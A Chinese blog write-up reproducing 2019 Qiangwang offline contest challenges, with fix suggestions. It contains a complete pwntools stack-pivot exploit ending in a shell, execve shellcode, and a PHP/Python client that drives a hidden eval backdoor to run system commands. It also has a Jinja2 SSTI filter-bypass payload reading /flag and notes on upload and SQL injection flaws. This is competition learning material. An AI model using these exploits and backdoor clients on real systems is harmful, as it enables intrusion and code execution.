2019强网杯线下赛WEB&&PWN复现

他们发在群里的说有兴趣的自己复现一下,好像是19广东强网。

PWN

什么保护都没开,what()是没功能的,着重看一下magic():

其实意图比较明显,存在一个很短的栈溢出,并且可以leak出buf地址,就是要求用stack pivot,一开始考虑怎么把a2传进来,因为长度不够ROP过去,发现栈:

所以可以menu(3)栈上变量覆盖完成后再menu(2)就可以leak出来了。

总体思路:通过buf修改must完成leak条件,leak后stack pivot to stack来leak libc,然后再进行一次上面的操作来getshell。

def leak():
    ###leak buf###
    payload = 'A' * (0x30 - 0x8) + p64(0x12345678)
    over(payload)

    menu(2)
    ru('It is magic: [')
    address = int(rv(14),16)
    success('address:'+hex(address))
    return address

之后考虑stack pivoting的时候,leak完后发现直接EOF,调试发现没回到main,然后因为已经栈迁移成功,所以在puts_plt后面加个main就回去了。

payload = 'A' * 0x8 + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(main)
payload = payload.ljust(0x30,'A')
payload+= p64(fake_ebp) + p64(leave_ret)
over(payload)

就是上面这样,本来我是puts_plt后面没加main,所以直接EOF了。

后面就简单了,因为栈环境变化,再进行一次leak buf,再进行一次stack pivoting即可get shell,刚好限制只能选择4次,我们leak两次pivot两次刚刚好。

def menu(cmd):
    sla("choice:\n",str(cmd))

def magic():
    menu(2)

def over(payload):
    menu(3)
    sla("What?\n",payload)

def leak():
    ###leak buf###
    payload = 'A' * (0x30 - 0x8) + p64(0x12345678)
    over(payload)

    menu(2)
    ru('It is magic: [')
    address = int(rv(14),16)
    success('address:'+hex(address))
    return address

###init###
main = 0x40077B
leave_ret = 0x0000000000400768
pop_rdi_ret = 0x0000000000400903

###stack pivot to leak libc###
buf = leak()

fake_ebp = buf
read_got = elf.got['read']
puts_plt = elf.plt['puts']

payload = 'A' * 0x8 + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(main)
payload = payload.ljust(0x30,'A')
payload+= p64(fake_ebp) + p64(leave_ret)
over(payload)

read = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
libc = LibcSearcher('read',read)
libc_base = read - libc.dump('read')

###stack pivot to get shell###
buf = leak()

fake_ebp = buf
system = libc_base + libc.dump('system')
sh = libc_base + libc.dump('str_bin_sh')

payload = 'A' * 0x8 + p64(pop_rdi_ret) + p64(sh) + p64(system)
payload = payload.ljust(0x30,'A')
payload+= p64(fake_ebp) + p64(leave_ret)
over(payload)

ia()

题目不难,有必要说一下本来想用shellcode的,从网上找了一个比较短的但是没成功。

修复建议:限制一下read读入的长度即可。

下面这个是ok的,就不需要去leak libc了。

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

WEB1

预留后门

先扫一波后门:

/inc/conn.php

可以看到最后还是调用了$I(),输出几个关键变量($s,$q,$I):

分析一下这段后门。

  1. 首先经过preg_match()匹配,开头为$kh结尾为$kf。
  2. 再经过base64解码。
  3. 经过x(异或)处理。
  4. 再经过gzuncompress处理。
  5. eval执行。
  6. 用相反顺序的算法(先gzcompress再x再base64)进行处理输出。

首先我们写一个逆算法:

function get($r){
	$k="5ac91f7d";
	$kh="b9615a29bc1d";
	$kf="24d0b67c2c91";
	$p="9GmIEgwZ7HiEeclS";

	$data = base64_encode(x(gzcompress($r),$k));
	$text = $kh.$data.$kf;
	
	echo $text; 

}

先gzcompress()再x()再base64encode(),注意字符串拼接不要用加号了。

然后就可以post过去,然后会返回给我们一串$p$kh$r$kf,然后解密算法如下:

function de($en){
	$k="5ac91f7d";
	$kh="b9615a29bc1d";
	$kf="24d0b67c2c91";
	$p="9GmIEgwZ7HiEeclS";

	$en=substr($en, strlen($p)+strlen($kh)-1);
	$en=substr($en, 1,-strlen($kf));
	$en = str_replace(' ', '+', $en);
	$de = gzuncompress(x(base64_decode($en),$k));
	echo $de;
}

上面提到的输出的算法说过了是相反的顺序然后拼接了一下。

所以我写的其实就是先把$r部分截取,然后再base64_decode再x再gzuncompress,其中需要注意,我发现截取$r后base64中的+不在了变成了空格,所以替换一下。

然后我手工post数据发现回显都一样且都是不正确的,所以这里用Python:

import requests

payload = "system('whoami');"

r = requests.get("http://127.0.0.1/1.php?payload={}".format(payload));
enpayload = r.text
print('The crypto data:'+enpayload)

s = requests.post("http://www.hogwarts.com/19qiangwang/inc/conn.php",data=enpayload)
encode = s.text
print("Code has execute:"+encode)

r = requests.get("http://127.0.0.1/1.php?en={}".format(encode))
flag = r.text
print("result:"+flag)

附上php完整脚本:

<?php


function x($t,$k){
	$c=strlen($k);
	$l=strlen($t);
	$o="";
	for($i=0;$i<$l;){
		for($j=0;($j<$c&&$i<$l);$j++,$i++){
			$o.=$t{$i}^$k{$j};
		}
	}
	return $o;
}

function get($r){
	$k="5ac91f7d";
	$kh="b9615a29bc1d";
	$kf="24d0b67c2c91";
	$p="9GmIEgwZ7HiEeclS";

	$data = base64_encode(x(gzcompress($r),$k));
	$text = $kh.$data.$kf;
	
	echo $text; 
}

function de($en){
	$k="5ac91f7d";
	$kh="b9615a29bc1d";
	$kf="24d0b67c2c91";
	$p="9GmIEgwZ7HiEeclS";

	$en=substr($en, strlen($p)+strlen($kh)-1);
	$en=substr($en, 1,-strlen($kf));
	$en = str_replace(' ', '+', $en);
	$de = gzuncompress(x(base64_decode($en),$k));
	echo $de;
}

$payload = @$_GET['payload'];
$ens = @$_GET['en'];

if(isset($payload)){
	get($payload);
}else{
	de($ens);
}

?>

修复建议:直接删除后门部分代码片段。

文件上传

/inc/up.class.php

看到defineTypeList心里大概有个数,可能可以上传php,下面求证一下。

可以看到CheckFileMIMEType()这个函数就通过这个变量来检查的。看了一下基本所有调用这些方法来上传的都需要后台登陆。

http://www.hogwarts.com/19qiangwang/admin/?r=manageinfo

刚好管理员信息修改处调用了目标,直接上传即可。

很贴心的路径都给好了…

修复建议:因为存在多处危险上传点,建议修改后台密码为强密码,并且修改defineTypeList中的文件后缀,只允许jpg、gif、bmp等文件的上传。

SQL注入

部分存在,这里挑其中一个前台来分析:

/files/software.php

可以看到cid只是经过了addslashes()的处理,并且还有返回错误信息,因此应该存在Bool盲注的情况,并且无限制直接sqlmap跑就行了。

load_file()可读flag。

修复建议:整体对$_GET、$_POST数据进行过滤。


WEB2

flask写的blog,第一次实战分析flask站,之前都是ctf玩玩ssti…

SSTI

/app.py

这里safe_jinja()对一些关键字进行了过滤,但是不影响,直接下划线绕过,之前的新春战疫就碰到过这种情况。

可以看到漏洞存在于404:

绕过关键字检测就像上面说的一样,下划线绕过。

{{session['__cla'+'ss__'].__base__.__base__.__base__['__subcla'+'sses__']()[163].__init__.__globals__['__bui'+'ltins__']['op'+'en']('/flag').read()}}

修复建议:黑名单加个下划线。

预留后门

/flask_blogging/views.py

这个popen就很可疑。

解码发现是cat /flag

看到这里猜测是要登陆的,app.py:

登陆:

修复建议:修改后台密码并直接删掉该段代码或改成无用处的命令。

Leave a Reply

Your email address will not be published. Required fields are marked *

14 + eight =